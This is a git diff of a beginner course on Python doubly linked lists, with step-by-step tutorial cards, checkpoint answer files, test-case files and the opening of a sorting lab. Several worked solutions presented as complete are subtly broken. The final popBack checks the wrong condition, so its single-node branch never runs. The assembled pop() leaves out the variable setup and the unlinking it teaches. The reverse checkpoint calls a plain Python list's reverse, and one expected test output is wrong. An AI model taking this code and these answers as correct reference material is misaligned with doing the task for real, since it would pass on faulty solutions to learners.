+def popFront(self):
+
+ # 1. If the list is not empty
+ if self.head == None:
+ return
+
+ else:
+ # 2. If there ISN'T only one node
+ if self.head.next != None:
+ self.head = self.head.next
+ self.head.prev = None
+
+ # 3. If there IS only one node
+ else:
+ self.head = None
+ self.tail = None
+
+ # Decrement size
+ self.size -= 1
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/62.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/62.md
new file mode 100644
index 00000000..13de0ed9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/62.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+**Step 1: popBack()**
+
+The **popBack()** takes in no parameters. In this function, you need to check whether the list is empty. If yes, then simply return.
+
+If the list contains only one element, then change the value of your head and tail nodes in the list, making your list empty because you're removing the only node.
+
+Otherwise, traverse the list to the tail node, remove that node, and assign a new tail node.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/621.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/621.md
new file mode 100644
index 00000000..5675eb39
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/621.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+**Step 1: popBack()**
+
+Let's look at how to pop a node from the **back** with the`popBack()` function.
+
+To access from the **tail** of the list, we will use `self.tail` since it points to the very last node. Also, using the same procedure we had in `popFront()`, we will check if the list is empty. If it is, we can write `return` since there are no nodes to pop.
+
+```python
+def popBack(self):
+
+ # 1. If the list isn't empty
+ if self.head == None:
+ return
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/622.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/622.md
new file mode 100644
index 00000000..0135d82c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/622.md
@@ -0,0 +1,37 @@
+
+
+
+
+
+
+**Step 1: Regular Operation**
+
+If the list is not empty, let's continue coding the popping process.
+
+Similar to the method we used for `popFront()`, we can first check if there is more than one node in the list and set `self.tail` to the previous node. Now that `self.tail` is the second-last node in the list, we can now get rid of the connection to the next node.
+
+```python
+ else:
+ # 2. If there ISN'T only one node
+ if self.head != None:
+ self.tail = self.tail.prev
+ self.tail.next = None
+```
+
+**Step 2: Checking the Edge Case**
+
+In the case that there is only one node in the list, we would just make the head and tail point to `None`.
+
+```python
+ # 3. If there IS only one node
+ else:
+ self.head = None
+ self.tail = None
+```
+
+Then, after we remove a node from our list, we have remember to decrease the size of the list.
+
+```python
+ # Decrement size
+ self.size -= 1
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/623.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/623.md
new file mode 100644
index 00000000..967a13a4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/623.md
@@ -0,0 +1,42 @@
+
+
+
+
+
+
+**Step 1: Putting it Together & Final Notes**
+
+With that, our `popBack()` function is complete!
+
+```python
+def popBack(self):
+
+ # 1. If the list isn't empty
+ if self.head == None:
+ return
+
+ else:
+ # 2. If there ISN'T only one node
+ if self.head != None:
+ self.tail = self.tail.prev
+ self.tail.next = None
+
+ # 3. If there IS only one node
+ else:
+ self.head = None
+ self.tail = None
+
+ # Decrement size
+ self.size -= 1
+
+```
+
+Overall, you can think of this process as removing the last person in the line. As you can see in the picture below, `self.tail` is the node with the value **1**; let's call this **Node(1)**. `self.tail.next` is None and `self.tail.prev` is **Node(45)**.
+
+
+
+In order to delete the last node, you must make `self.tail` the previous node, or else we will lose the address of the previous node.
+
+Now, **Node(45)** is `self.tail`. Since the node is `self.tail`, we can point `self.tail.next` to be None. **Node(1)** is deleted after we call Python's built-in garbage collector, as **Node(1)** does not point to anything anymore.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/63.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/63.md
new file mode 100644
index 00000000..c638509d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/63.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+**Step 1: pop()**
+
+The last function for removing the element in a doubly linked list is **pop()**. This function will take in a value and remove the node containing that value in the list.
+
+Check whether the list is empty. If yes, then simply return.
+
+Otherwise, traverse the list to find the node that matches the given value. If none of the nodes contain the given value, then return the message, "Target not found." If you find the node with the given value, remove it from the list.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/631.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/631.md
new file mode 100644
index 00000000..4e41f924
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/631.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+**Step 1: pop()**
+
+For our next function, `pop()`, we will be able to delete any existing node we want from the list.
+
+Starting from the beginning of the list, we will use `self.head` since it points to the first node. Using the same procedure we had in `popFront()` and `popBack()`, we will check if the list is empty. If it is, we can just write `return` since there are no nodes to pop.
+
+```python
+def pop(self, target):
+
+ # 1. Check if the list is empty
+ if self.head == None:
+ return
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/632.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/632.md
new file mode 100644
index 00000000..f0fdc7d9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/632.md
@@ -0,0 +1,71 @@
+
+
+
+
+
+
+**Step 1: Regular Operation**
+
+If the list is not empty, then we shall proceed with the popping process by first searching for the node that we want to pop. Using a while-loop, we will traverse through the list with `curr`. If `curr` reaches the end of the list and equals `None`, then print out "Target not found." and `return` to exit the loop.
+
+```python
+ else:
+ # 2. Search for target
+ while curr.data != target:
+ curr = curr.next
+
+ if curr == None:
+ print("Target not found.")
+ return
+```
+
+**Step 2: Putting it Together**
+
+Once we find the target, we check if it's not the last node because the process of deleting a middle node and the last node are different. If the target node is not the last node, we would create a `temp` pointer to the `next` node and point it before the target, `curr.prev.next`, to `temp`. Now, we can set temp's `prev` pointer to `curr`'s `prev`.
+
+If the target node is the last node, then we can just use our `popBack()` function to remove it from the list.
+
+Note that the order in which the variables are assigned matters because the values and pointers of the variables, `temp` and `curr`, change throughout the if statement. If one is misplaced, the values may be assigned incorrectly.
+
+```python
+ # 3. If curr is not the last node
+ if curr.next != None:
+ temp = curr.next
+ curr.prev.next = temp
+ temp.prev = curr.prev
+
+ # 4. If curr is the last node, use popBack()
+ else:
+ self.popBack()
+```
+
+Then, after we remove a node from our list, we have remember to decrease the size of the list.
+
+```python
+ # Decrement size
+ self.size -= 1
+```
+
+---
+
+With that, we have completed our `pop()` function!
+
+```python
+def pop(self, target):
+
+ # 1. Check if the list is empty
+ if self.head == None:
+ return
+
+ else:
+ # 2. Search for target
+ while curr.data != target:
+ curr = curr.next
+
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # Decrement size
+ self.size -= 1
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7-CHECKPOINT.md
new file mode 100644
index 00000000..b93eb07e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7-CHECKPOINT.md
@@ -0,0 +1,7 @@
+## Checkpoint 4: For `reverse` checkup
+
+Name: For `reverse` checkup
+
+Instruction: Submit your code for the **reverse()** function. `main()` functions were provided to test those functions.
+
+Type: Autograder
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7.md
new file mode 100644
index 00000000..6fe8538d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/7.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+
+
+Let's reverse the list, because why not?
+
+Let's define a function called **reverse()** that reverses the order of your current list so that the head becomes the tail and vice versa.
+
+For example, if you have a list like this:
+
+[head: 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> tail: 7]
+
+The new list after being reversed will be this:
+
+[head:7 -> 6 -> 5 -> 4 -> 3 -> 2 -> tail: 1]
+
+You should traverse the new list and print out each element for verification.
+
+Make sure to check if your current doubly linked list is empty. In that case, there are no elements to be reversed, so just return.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/71.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/71.md
new file mode 100644
index 00000000..3f7857a8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/71.md
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+**Step 1: Visualize It**
+
+For this card, we highly recommend you to grab a piece of paper and a pencil with you to visualize the reversing process. Doing this will make things more clear as you follow along and draw the list for every move.
+
+First, in the **reverse()**, check whether your list is empty. If the list is not empty, it is safe to reverse. Then, figure out which variables you need and what to assign them to in order to reverse your list.
+
+Here are a few hints and questions that could help you out:
+
+If your current node is labelled as **curr**, the previous node of **curr** will become the following node of **curr**, and vice versa. What information should you store at this point? What will you need to complete this process? After that, your **curr** should move to the previous node, and this reversing process will repeat. When you reach the end of this reversing process, what will the value of **curr** become?
+
+Now, with these hints in mind, try drawing out a graph by yourself to visualize this process, and then start building your function!
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/711.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/711.md
new file mode 100644
index 00000000..bf5d7323
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/711.md
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+**Step 1: Coding the Swap**
+
+Let's start building our `reverse()` function by creating variables. We can first make a copy to the head node and label it as `curr`, then set the tail node to `curr` in order to start from the beginning of the list. During the reversing process, we will need to establish another variable `temp` with a value `None` that will be used to swap the nodes around `curr`.
+
+```python
+def reverse(self):
+ temp = None
+ curr = self.head
+ self.tail = curr
+```
+
+Note that the order in which the variables are set matters because the variable `curr` needs to created and assigned before setting the tail node to `curr`. Always be careful when establishing variables in your functions.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/712.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/712.md
new file mode 100644
index 00000000..69cd529d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/712.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+**Step 1: Looping Through the List**
+
+Now, let's starting coding the actual reversing process.
+
+To move through the entire list, we will create a while-loop, which will iterate through each node and halt when `curr` reaches the end of the list. For instance, if we were at the second node in a list of five, we would set `temp` as a pointer to first node, then switch the second node's pointers, which are in the first to third line under the while-loop.
+
+The final step in the while loop is very interesting! You would think that we would want `curr = curr.next`, but remember that we just swapped the `next` and`prev` pointers. Instead, we would set `curr = curr.prev`. Now, `prev` is now pointing in the direction of `next`.
+
+```python
+ # Swap next and prev for all nodes of
+ # doubly linked list
+ while curr is not None:
+ temp = curr.prev
+ curr.prev = curr.next
+ curr.next = temp
+ curr = curr.prev
+```
+**Step 2: Checking for Edge Cases**
+
+Before we finish coding our reverse() function, we need to check for certain cases.
+
+If the list is either empty or only has one node, then the reversing process is not needed or will not work because there is nothing left to be reversed! So, we need to make sure to check for these cases before proceeding.
+
+```python
+ # Before changing head, check for the cases like
+ # empty list and list with only one node
+ if temp is not None:
+ self.head = temp.prev
+```
+With that, your reverse() function is complete!
+
+```python
+def reverse(self):
+ temp = None
+ curr = self.head
+ self.tail = curr
+
+ # Swap next and prev for all nodes of
+ # doubly linked list
+ while curr is not None:
+ temp = curr.prev
+ curr.prev = curr.next
+ curr.next = temp
+ curr = curr.prev
+
+ # Before changing head, check for the cases like
+ # empty list and list with only one node
+ if temp is not None:
+ self.head = temp.prev
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans 2.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans 2.py
new file mode 100644
index 00000000..5e8479a0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans 2.py
@@ -0,0 +1,132 @@
+
+class Node:
+ def __init__(self, data):
+ self.data = data
+ self.next = None
+ self.prev = None
+
+
+class DoublyLinkedList:
+ def __init__(self):
+ self.head = None
+ self.tail = None
+ self.size = 0
+
+ def printList(self, node):
+ while node != None:
+ print(node.data)
+ # Get next node
+ node = node.next
+
+ def push(self, newData):
+ newNode = Node(newData)
+
+ # newNode -> self.head
+ newNode.next = self.head
+
+ # If the list is not empty
+ if self.head != None:
+ self.head.prev = newNode
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # The head is now the new node
+ self.head = newNode
+ self.size += 1
+
+ def pushback(self, newData):
+ #Initialize new node
+ newNode = Node(newData)
+
+ # If the list is not empty
+
+
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # Increment size
+ self.size += 1
+
+ def insertAfter(self, target, newData):
+ # 1. If the list is empty
+ if self.head == None:
+ return
+ else:
+ curr = self.head
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr
+ newNode.next = curr.next
+ # 4. If curr is not the last node
+ if curr.next is not None:
+ curr.next.prev = newNode
+
+ else:
+ self.tail = newNode
+
+ # 5. Connect the current node with the new node
+ curr.next = newNode
+ # Increment size
+ self.size += 1
+
+ def insertBefore(self, target, newData):
+
+ # If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr.prev
+ newNode.next = curr
+
+ # 4. If curr is not the first node
+ if curr.prev != None:
+ curr.prev.next = newNode
+
+ else:
+ self.head = newNode
+
+ # 5. Connect the current node with the new node
+ curr.prev = newNode
+ # Increment size
+ self.size += 1
+
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.insertAfter(2,3)
+ LL.insertAfter(1,4)
+ LL.insertBefore(4,9)
+ LL.printList(LL.head)
+
+main()
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans.py
new file mode 100644
index 00000000..5e8479a0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint4_ans.py
@@ -0,0 +1,132 @@
+
+class Node:
+ def __init__(self, data):
+ self.data = data
+ self.next = None
+ self.prev = None
+
+
+class DoublyLinkedList:
+ def __init__(self):
+ self.head = None
+ self.tail = None
+ self.size = 0
+
+ def printList(self, node):
+ while node != None:
+ print(node.data)
+ # Get next node
+ node = node.next
+
+ def push(self, newData):
+ newNode = Node(newData)
+
+ # newNode -> self.head
+ newNode.next = self.head
+
+ # If the list is not empty
+ if self.head != None:
+ self.head.prev = newNode
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # The head is now the new node
+ self.head = newNode
+ self.size += 1
+
+ def pushback(self, newData):
+ #Initialize new node
+ newNode = Node(newData)
+
+ # If the list is not empty
+
+
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # Increment size
+ self.size += 1
+
+ def insertAfter(self, target, newData):
+ # 1. If the list is empty
+ if self.head == None:
+ return
+ else:
+ curr = self.head
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr
+ newNode.next = curr.next
+ # 4. If curr is not the last node
+ if curr.next is not None:
+ curr.next.prev = newNode
+
+ else:
+ self.tail = newNode
+
+ # 5. Connect the current node with the new node
+ curr.next = newNode
+ # Increment size
+ self.size += 1
+
+ def insertBefore(self, target, newData):
+
+ # If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr.prev
+ newNode.next = curr
+
+ # 4. If curr is not the first node
+ if curr.prev != None:
+ curr.prev.next = newNode
+
+ else:
+ self.head = newNode
+
+ # 5. Connect the current node with the new node
+ curr.prev = newNode
+ # Increment size
+ self.size += 1
+
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.insertAfter(2,3)
+ LL.insertAfter(1,4)
+ LL.insertBefore(4,9)
+ LL.printList(LL.head)
+
+main()
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint7_ans.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint7_ans.py
new file mode 100644
index 00000000..09bf0d05
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/checkpoint7_ans.py
@@ -0,0 +1,25 @@
+def reverse(self):
+ temp = None
+ curr = self.head
+ self.tail = curr
+
+ # Swap next and prev for all nodes of
+ # doubly linked list
+ while curr is not None:
+ temp = curr.prev
+ curr.prev = curr.next
+ curr.next = temp
+ curr = curr.prev
+
+ # Before changing head, check for the cases like
+ # empty list and list with only one node
+ if temp is not None:
+ self.head = temp.prev
+
+def main():
+ LL = [1, 2, 3, 4, 5, 6, 7, 8, 9]
+ print('Original List:', LL)
+ LL.reverse()
+ print('Reversed List:', LL)
+
+main()
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4 2.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4 2.py
new file mode 100644
index 00000000..85df80df
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4 2.py
@@ -0,0 +1,98 @@
+"""
+Test Case 1
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.push(5)
+ LL.push(9)
+ LL.printList(LL.head)
+"""
+"""
+Test Case 1 - Results
+9
+5
+3
+2
+1
+"""
+
+"""
+Test Case 2
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.pushback(5)
+ LL.pushback(9)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 2 - Results
+3
+2
+1
+5
+9
+"""
+
+
+"""
+Test Case 3
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.pushback(5)
+ LL.insertAfter(5,10)
+ LL.pushback(9)
+ LL.insertAfter(9,11)
+ LL.insertAfter(10,12)
+ LL.insertAfter(3,4)
+ LL.insertAfter(11,14)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 3 - Results
+3
+4
+2
+1
+5
+10
+12
+9
+11
+14
+"""
+
+"""
+Test Case 4
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.insertBefore(3,4)
+ LL.insertBefore(4,5)
+ LL.insertBefore(4,4.5)
+ LL.insertBefore(1,10)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 4 - Results
+5
+4.5
+4
+3
+2
+10
+1
+"""
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4.py
new file mode 100644
index 00000000..85df80df
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check4.py
@@ -0,0 +1,98 @@
+"""
+Test Case 1
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.push(5)
+ LL.push(9)
+ LL.printList(LL.head)
+"""
+"""
+Test Case 1 - Results
+9
+5
+3
+2
+1
+"""
+
+"""
+Test Case 2
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.pushback(5)
+ LL.pushback(9)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 2 - Results
+3
+2
+1
+5
+9
+"""
+
+
+"""
+Test Case 3
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.pushback(5)
+ LL.insertAfter(5,10)
+ LL.pushback(9)
+ LL.insertAfter(9,11)
+ LL.insertAfter(10,12)
+ LL.insertAfter(3,4)
+ LL.insertAfter(11,14)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 3 - Results
+3
+4
+2
+1
+5
+10
+12
+9
+11
+14
+"""
+
+"""
+Test Case 4
+def main():
+ LL = DoublyLinkedList()
+ LL.push(1)
+ LL.push(2)
+ LL.push(3)
+ LL.insertBefore(3,4)
+ LL.insertBefore(4,5)
+ LL.insertBefore(4,4.5)
+ LL.insertBefore(1,10)
+ LL.printList(LL.head)
+"""
+
+"""
+Test Case 4 - Results
+5
+4.5
+4
+3
+2
+10
+1
+"""
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check7.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check7.py
new file mode 100644
index 00000000..167386cb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Student Starter/Checkpoint/test_cases_check7.py
@@ -0,0 +1,44 @@
+"""
+Test Case 1
+def main():
+ LL = []
+ print('Original List: ', LL)
+ LL.reverse()
+ print('Reversed List: ', LL)
+"""
+"""
+Test Case 1 - Results
+Original List: []
+Reversed List: []
+"""
+
+"""
+Test Case 2
+def main():
+ LL = [1, 2, 3]
+ print('Original List:', LL)
+ LL.reverse()
+ print('Reversed List:', LL)
+"""
+
+"""
+Test Case 2 - Results
+Original List: [1, 2, 3]
+Reversed List: [1, 2, 3]
+"""
+
+
+"""
+Test Case 3
+def main():
+ LL = [9, 8, 7, 6, 5, 4, 3, 2, 1]
+ print('Original List:', LL)
+ LL.reverse()
+ print('Reversed List:', LL)
+"""
+
+"""
+Test Case 3 - Results
+Original List: [9, 8, 7, 6, 5, 4, 3, 2, 1]
+Reversed List: [1, 2, 3, 4, 5, 6, 7, 8, 9]
+"""
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/1.md
new file mode 100644
index 00000000..ca5770b0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/1.md
@@ -0,0 +1,35 @@
+
+
+
+
+
+
+You are a zoologist who returned to your lab only to find that your documents have been scrambled up! You had tediously studied, determined, and **sorted** different species of animals by their population growth rate from lowest to highest.
+
+
+
+The next course of action to undo this mess will be to pair each population growth equation with the species it's associated with and then sort the pairs. However, your supervisor is meticulous with what method you use. Therefore, they have asked you to show each step of sorting.
+
+You only need to sort the list of species in **descending** order of their population growth using three different sorting techniques (as per lab policy D).
+
+Data you were able to procure from the mess:
+
+* Numbers representing specific growth rate for each species
+
+Your job:
+
+1. Pair each growth rate with each animal
+
+2. Rank the growth rates in descending order
+
+3. Sort the ranks using **Bubble sort**, **Insertion Sort**, and **Selection Sort**
+
+After Step 3, you will have sorted rankings, so you know the correct order of the growth rates. Plus, you will have the pairings of each animal to their growth rate. Knowing these two facts, you will have reobtained your sorted population growth list.
+
+
+
+Let's do step 1.
+
+First, create a **function** named `readFileintoDict()` that will ask for user input about a file's name, `Animals.txt`. Then, open that file and read its contents into a **dictionary** with keys as an index of the animal and the values as the animal name. Each index is associated with a growth rate in the file. This function should also **return** said dictionary.
+
+Go ahead and code `readFileintoDict()`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/11.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/11.md
new file mode 100644
index 00000000..7668ba4c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/11.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+`Animals.txt` is a **file** that contains an `int` followed by a `string`. To read this content in a `dictionary`, you should use `open()` and `for` loops to **split** each line of content in the text file into a **dictionary**. The integer should be the **key** and the animal should be the **value**.
+
+Animals.txt file:
+
+```python
+1 Horse
+2 Buffalo
+3 Cat
+4 Rabbit
+5 Goat
+6 Dog
+7 Sheep
+8 Pig
+9 Cow
+10 Human
+11 Rat
+12 Mice
+13 Bat
+14 Squirrel
+15 Turtle
+```
+
+Example of **dictionary**:
+
+```python
+5: Himalayan wolf
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/111.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/111.md
new file mode 100644
index 00000000..e0221a0c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/111.md
@@ -0,0 +1,72 @@
+
+
+
+
+
+
+**Step 1**: First, we initiate the function `readFileintoDict()`.
+
+```python
+def readFileintoDict():
+```
+
+**Step 2**: Since it's given that the file name is `"Animals.txt"`, we make a string to easily call this file name later.
+
+```python
+ filename= "Animals.txt"
+```
+
+**Step 3**: To parse through the file, we use the `open` function with a loop. Note that now the txt. document is now referred to as **file** in the loop. The `'r'` means we will only be reading the file.
+
+```python
+ with open(filename, 'r') as file:
+```
+
+**Step 4**: Then, we initialize our dictionary by having it be blank initially.
+
+```python
+ result = {}
+```
+
+**Step 5**: We want a counter to iterate through the file, so we create a counter that starts at 0.
+
+```python
+ index = 0
+```
+
+**Step 6**: Now, we want to parse through each line of the file; this statement below will split the line into different components based on the split factor, "\n" (new line).
+
+```python
+ for line in file.read().split("\n"):
+```
+
+**Step 7**: We want to ignore the white spaces in the file used to format it. Therefore, we will be splitting according to the "\t" (tab).
+
+```python
+ noTabs = line.split("\t")
+```
+
